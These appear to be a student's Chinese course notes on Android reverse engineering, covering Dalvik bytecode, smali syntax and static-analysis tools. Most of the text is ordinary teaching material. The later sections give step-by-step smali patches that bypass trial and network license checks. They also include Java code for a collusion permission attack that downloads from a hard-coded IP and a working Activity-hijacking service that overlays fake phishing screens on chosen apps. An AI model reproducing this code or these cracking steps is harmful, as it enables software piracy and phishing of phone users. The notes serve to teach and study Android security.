android逆向分析-i春秋
基础
bitxiongxi@qq.com
//note01
一.Dalvik虚拟机
二.静态分析
三.静态分析应用:应用破解与系统攻击
《Android软件安全与逆向分析》丰生强著
android系统架构:
linux内核: (软件与硬件之间的一层,提供驱动)
Display Driver
Camera Driver
Flash Memory Driver
Binder(IPC) Driver
Keypad Driver
WiFi Driver
Audio Driver
Power Management
....
Libraries(系统库)(C/C++写的)
Surface Manager
Media Framework
SQLite
OpenGL | ES
FreeType
WebKit
SGL
SSL
libc
(重点)Andrioid Runtime
Core Libraries(支持java语言的jar包)
Dalvik Virtual Machine (Dalvik虚拟机,类似jvm)
(每启动一个程序的时候,都会创建一个Dalvik实例)
Application Framework(应用程序框架,一堆API)(正向开发)
Activity Manager
Window Manager
Content Providers
View System
Package Manager
Telephony Manager
Resource Manager
Location Manager
Notification Manager
Applications
Home
Contacts
Phone
Browser
...
Android基础,java基础,信息安全基础
//note02 Dalvik虚拟机(DVM)
DVM和JVM的区别:
·JVM运行的是Java字节吗,DVM运行的是Dalvik字节码
·Dalvik可执行文件(.dex)体积更小
·虚拟机架构不同:JVM基于栈,DVM基于寄存器(用来暂时存储运算的中间器)
reg:
Java代码:
public class Hello{
public int foo(int a,int b){
return (a+b)*(a-b);
}
main(){
Hello hello =new Hello();
sout(hello.foo(5,3));
}
}
(仅针对foo这个函数)
Java字节码:
public int foo(int,int);
Code:
0: iload_1 (i:int;load:将变量的值压到栈上;把第一个值压到栈上)
1: iload_2
2: iadd (栈上的1,2两个值相加,把结果再压出栈)
3: iload_1
4: iload_2
5: isub (相减,压出栈)
6: imul (相乘,相乘)
7: ireturn (返回)
Dalvik字节码:
Hello.foo:(II)I (函数的定义,II:两个参数都是int类型,I:返回值也是int类型)
0000: add-int v0,v3,v4 (v3和v4的值相加,再将值存到v0里面)
0002: sub-int v1,v3,v4 (相减,存到v1里面)
0004: mul-int/2addr v0,v1 (乘法,然后存到v0里面)
0005: return v0 (返回v0)
Dalvik汇编语言简介:
v命名法和p命名法 (通常使用的是p命名法)
v命名法 p命名法 寄存器含义
v0 v0 第1个局部变量寄存器
v1 v1 第2个局部变量寄存器
... ... 中间的局部变量寄存器
vM-N p0 第1个参数寄存器(通常为调用对象)
... ... 中间的参数寄存器
vM-1 pN-1 第N个参数寄存器
reg:
3个局部变量和4个函数参数(包括一个this)
v0,v1,v2 p0(this),p1,p2,p3
类型描述符:
V void
Z boolean
B byte
S short
C char
I int
J long
F float
D double
L java类
[ 数组
寄存器
·DVM寄存器都是32bit的,与名称无关
·J,D类型,需要相邻2个寄存器
·对象类型:Ljava/lang/String;=java.lang.String
·数组:[I=int[].[[I=int[][]
方法:
·格式:Lpackage/name/ObjectName(类名);->MethodName(III)Z (III:3个int参数,返回boolean参数)
·例子:
method(I[[IILjava/lang/String;[Ljava/lang/Object;)Ljava/lang/String
等价于
String method(int,int[][],int,String,Object[])
字段:
格式:Lpackage/name/ObjectName;->FieldName:Ljava/lang/String
程序编译与反编译
class->dx->(dex文件;apk包,资源文件,androidManifest.xml)->baksmali->smali文件
dex就可以运行了
baksmali反编译工具
apk类似打包程序->解压
androidManifest.xml 配置文件
主要的反编译器:
·BakSmali(主要用这个)
·Dedexer
Dalvik指令集
空操作指令:nop
数据操作指令:move
move vA,vB
将vB寄存器的值赋给vA寄存器,源寄存器与目的寄存器都为4位
move->object/from 16 vAA,vBBBB
为对象赋值。源寄存器为8位,目的寄存器为16位
HelloWorld.smali
.class public LHelloWorld;
.super Ljava/lang/Object;
.method public static main([Ljava/lang/String;)V (V:void)
.registers 4 (表示4个寄存器)
.parameter (参数是空)
.prologue (函数实际执行内容)
#空指令
nop
nop
nop
nop
#数据定义指令
const/16 v0,0x8 (把8放到v0里面)
const/4 v1,0x5
const/4 v2,0x3
#数据操作指令
move v1, v2 (将v2值放到v1里面)
#数组操作指令
new-array v0, v0, [I (创建一个数组,大小是第二个v0,类型是int数组,放入第一个v0里)
array-length v1, v0 (将v0的长度放入v1)
#实例操作指令
new-instance v1, Ljava/lang/StringBuilder;
#方法调用指令
invoke-direct {v1},Ljava/lang/StringBuilder;-><init>()V
#跳转指令
if-nez v0, :cond_0 (nez:not equals zero;如果不为0,则跳到cond_0)
goto : goto_0 (如果为0,则跳到goto_0)
:cond_0
#数据转换指令
int-to-float v2, v2
#数据运算指令
add-float v2, v2, v2
#比较指令
cmpl-float v0, v2, v2 (v2和v2比较的结果如果想等则返回0)
#字段操作指令
sget-object v0, Ljava/lang/System:->out:Ljava/io/PrintStream;
(获取System里面的out变量放入v0)
const-string v1, "hello world" #构造字符串 (定义一个字符串放入v1)
#方法调用指令
invoke-virtual {v0,v1},Ljava/io/PrintStream;->println(Ljava/lang/String;)V
#返回指令
:goto_0
return-void
.end method
工具
ApkIDE(apk改之理)
ApkToolkit
jd-gui.exe
Dalvik版的Hello World
·编译smali文件
java -jar smali.jar -o classes.dex HelloWorld.smali
(-o:输出到classes.dex)
·执行程序
上传到手机:adb push classes.dex /data/local/
执行程序:adb shell dalvikvm -cp /data/local/classes.dex HelloWorld
ApkToolkit
将classes.dex->classes_dex.jar
jd-gui.exe
查看jar文件
//note03 静态分析
·定义:
不运行代码的情况下(相对的),阅读反汇编代码来掌握程序功能的一种技术
·两种方法:
1.阅读Dalvik字节码(通过baksmali反编译dex文件生成smali文件)
2.阅读java代码(通过dex2jar生成jar文件,再jd-gui阅读jar文件)
定位关键代码
常用步骤
1.反编译apk (一般反编译成smali)
2.通过AndroidManifest.xml查找主Activity
<activity android:label="@string/title_activity_main" android:name=".MainActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" /> #MAIN :主Activity
<category android:name="android.intent.category.LAUNCHER" /> #LAUNCHER :通过该Activity启动,即首先进入的activity
</intent-filter>
</activity>
3.查看程序的入口函数:主Activity的OnCreate()
4.查看Application类(全局,早于其他类启动)的OnCreate()函数。该函数通常用作授权检测
//.MainActivity 类名 title_activity_main 标题
定位关键代码:
常用方法:
·信息反馈法:运行时信息
·特征函数法:运行时行为
·顺序查看法:执行流程
·代码注入法:添加Log
reg
smali文件格式:
.class public Lcom/droider/crackme0502/MainActivity;
.super Landroid/app/Activity
.source "mainActivity.java"
# instance fields
.field private btnAnno:Landroid/widget/Button;
.field private btnCheckSN:Landroid/widget/Button;
.field private edtSN:Landroid/widget/EditText;
# direct methods (直接方法)
.method public constructor<init>()V (构造函数)
.locals 0 (局部变量0个)
.prologue
.line 19
invokde-direct {p0},Landroid/app/Activity;-><init>()V (p0:当前这个对象this)
return-void
.end method
内部类的表示
·MainActivity$1.smali:匿名内部类,多用于程序中的响应
·MainActivity$SNChecker.smali:成员内部类
·MainActivity.smali:外部类
·this$0是内部类自动保留的一个指向所在外部类的引用。this表示父类的引用,右边的0便是引用的层数
·例:
public class Outer{ //this$0
public class FirstInner{ //this$1
pulblic class SecondInner{ //this$2
public class ThirdInner{}
}
}
}
·this$X型字段都被指定了synthetic(合成)属性,表明他们是被编译器合成的,虚构的,非java代码指定的字段
内部类的表示:
构造函数执行步骤:
1.保存外部类的引用到本类的一个synthetic字段中
2.调用内部类的父类的构造函数
3.内部类自身初始化
reg:内部类,构造函数
.class public Lcom/droider/crackme0502/MainActivity$SNChecker;(成员内部类)
.super Ljava/lang/Object
.source "mainActivity.java"
# instance fields
.field private sn:Ljava/lang/String;(sn:一般指验证码)
.field final synthetic this$0:Lcom/droider/crackme0502/MainActivity;
#direct methods
.method public constructor<init>(Lcom/droider/crackme0502/MainActivity;Ljava/lang/String;)V
.locals 0
.param p2, "sn" # Ljava/lang/String;
.prologue
.line 83
#将外部类引用赋给p1
iput-object p1,p0, Lcom/droider/crackme0502/MainActivity$SNChecker;->this$0:Lcom/droider/crackme0502/MainActivity;
#调用SNCheck的基类Object的构造函数
invoke-direct{p0},Ljava/lang/object;-><init>()V
.line 84
#调用SNCheck自身的构造函数
iput-object p2,p0 Lcom/droider/crackme0502/MainActivity$SNChecker;->sn:Ljava/lang/String;
.line 85
return-void
.end method
//note04 应用破解
·试用版软件
·网络验证
安卓模拟器:
Eclipse自带有
BlueStatcks
将apk拖入BlueStatcks
将apk拖入ApkIDE
crypt.smali (加密解密)
R.smali(资源文件)
MainActivity.smali
onCreate(){}
.locals 4
.param p1,"xxx"
...
checkappKey()Z
move-result v2 (将结果保存到v2里面)
if-nez v2, :cond_2
...
:cond_2
const v2, 0x7f03001 (是一个资源编号) (右边有搜索,将编号放入可以搜一下)
getAppKey()
decryptAppkey() (解密函数)
这里会有一个跳转
if-ne v0,v2 :cond_3 (如果密钥匹配,就跳到cond_3)
在未授权的时候直接强行将其置成专业版的key值
保存->编译->生成xxx.apk
网络验证例子:
使用前会先去网络验证是否是正版,如果不通过可能不会让使用
想断网的时候验证能不能通过:
360->演示->手机操作
apkIDE->apk拖入
onClick():
getData()
new-instance: v1, Ljava/lang/Thread;
可以直接删掉cond_0 ,return-void
编译->保存
//note05 系统攻击
·手机ROOT及其危害
·串谋权限攻击
·组件安全
什么是ROOT?
在手机使用过程中获取操作系统root权限,即最高管理员权限
手机root及其危害
root的危害
·系统不稳定
·病毒入侵
·隐私数据暴露
权限攻击
串谋权限攻击
(联网下载文件并保存到SD卡上)
程序1的组件2不允许
程序2的组件1允许
程序1的组件2在没有权限的情况下,通过程序2的组件1联网并保存数据到SD卡
reg:
Download.apk (有权限)
EvilDownload.apk(没有权限)
在Download.apk最小化的时候,点开EvilDownload就实现了串谋攻击,就可以下载东西了
<uses-permission android:name="android.permission.WRITE_EXERNAL_STORAGE" /> (写入外置SD卡权限)
<uses-permission android:name="android.permission.INTERNET"/> (访问网络的权限)
没有这两个的话是没有相应权限的
MainActivity():
public void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
setTitle("串谋攻击演示程序");
btn1 = (Button)findViewById(R.id.button1);
btn1.setOnClickListener(new OnClickListener(){
public void onClick(View v){
Intent intent = new Intent(); //创建Intent对象
intent.setAction("com.droider.download");
intent.putExtra("url","http://114.215.197.165/Struts2Login/ info.txt"); //要下载的文件URL
String fileName = "info.txt"; //保存的文件名
intent.putExtra("filename",filename);
sendBroadcast(intent); //发送广播
}
}
});
public class DownloadManager extends BroadcastReceiver{
@Override
public void onReceive(Context context,Intent intent){
if(intent.getAction().equals("com.droider.download")){
String url = intent.getExtras().getString("url");
String fileName = intent.getExtras().getString("filename");
Toast.makeText(context,url,Toast.LENGTH_SHORT).show();
MyAsyncTask task = new MyAsyncTask();
task.execute(url,fileName);
}
}
}
Activity劫持
步骤:
1.遍历运行中的程序
2.恶意程序启动带FLAG_ACTIVITY_NEW_TASK标志的钓鱼式Activity覆盖正常的Activity
3.用户在伪造的界面上进行操作
4.恶意程序将信息发送到指定的网址
5.切换到原来的Activity
public class Hijacker extends Service{
private boolean started = false;
private List<String> mhijackingList; //劫持的进程列表
private Timer mTimer = new Timer();
private TimerTask mTask = new TimerTask(){
@Override
public void run(){
Log.d("com.droider.hijacker","timertask start...");
ActivityManager am = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE;
started = true;
List<RunningAppProcessInfo> infos = am.getRunningAppProcesses();//枚举正在运行的进程列表
for(RunningAppProcessInfo psinfo: infos){
if(psinfo.importance == RunningAppProcessInfo.IMPORTANCE_FOREGROUND)//前台进程
if(mhijackingList.contains(psinfo.processName)){
Log.d("com.droider.hijacker","hijacking start...");
Intent intent = new Intent(getBaseContext(),HijackActivity.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
intent.putExtra("processname",psinfo.processName);
getApplication().startActivity(intent);//启动伪造的Activity
}
}
}
}
@Override
public int onStartCommand(Intent intent,int flags,int startId){
Log.d("com.droider.jijacker","service start..");
mhijackingList = ((MyApp)getApplication()).hijackingList;
if(!started)
mTimer.scheduleAtFixedRate(mTask,2000,1500);//定时检查启动的进程列表中是否有被劫持的程序
return super.onStartCommand(intent,flags,startId);
}
}
public class MyApp extends Application{
List<String> hijackingList;
@Override
public void onCreate(){
hijackingList = new ArrayList<String>();
hijackingList.add("com.android.music");
hijackingList.add("com.android.browser");//要劫持的进程
super.onCreate();
}
}
public class HijackActivity extends Activity{
private TextView tv;
@Override
public void onCreate(Bundle savedInstanceState){
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_hijack);
setTitle("Activity劫持页面");
tv=(TextView)findViewById(R.id.tv_process);
tv.setTextColor(Color.RED);
tv.setText("被劫持的进程:");
Bundle bundle = getIntent().getExtras();
if(bundle != null){
if(bundle.containsKey("processname")){
String str = bundle.getString("processname");
tv.setText("被劫持的进程:"+str);
}
}
}
@Override
public boolean onTouchEvent(MotionEvent event){
Intent intent = new Intent(HijackActivity.this,Hijacker.class);
stopService(intent); //停止劫持服务
moveTaskToBack(true);
return super.onTouchEvent(event);
}
}
//可以让程序不在最近访问的程序列表里面
特点:不需要声明任何权限,一般杀毒软件无法检测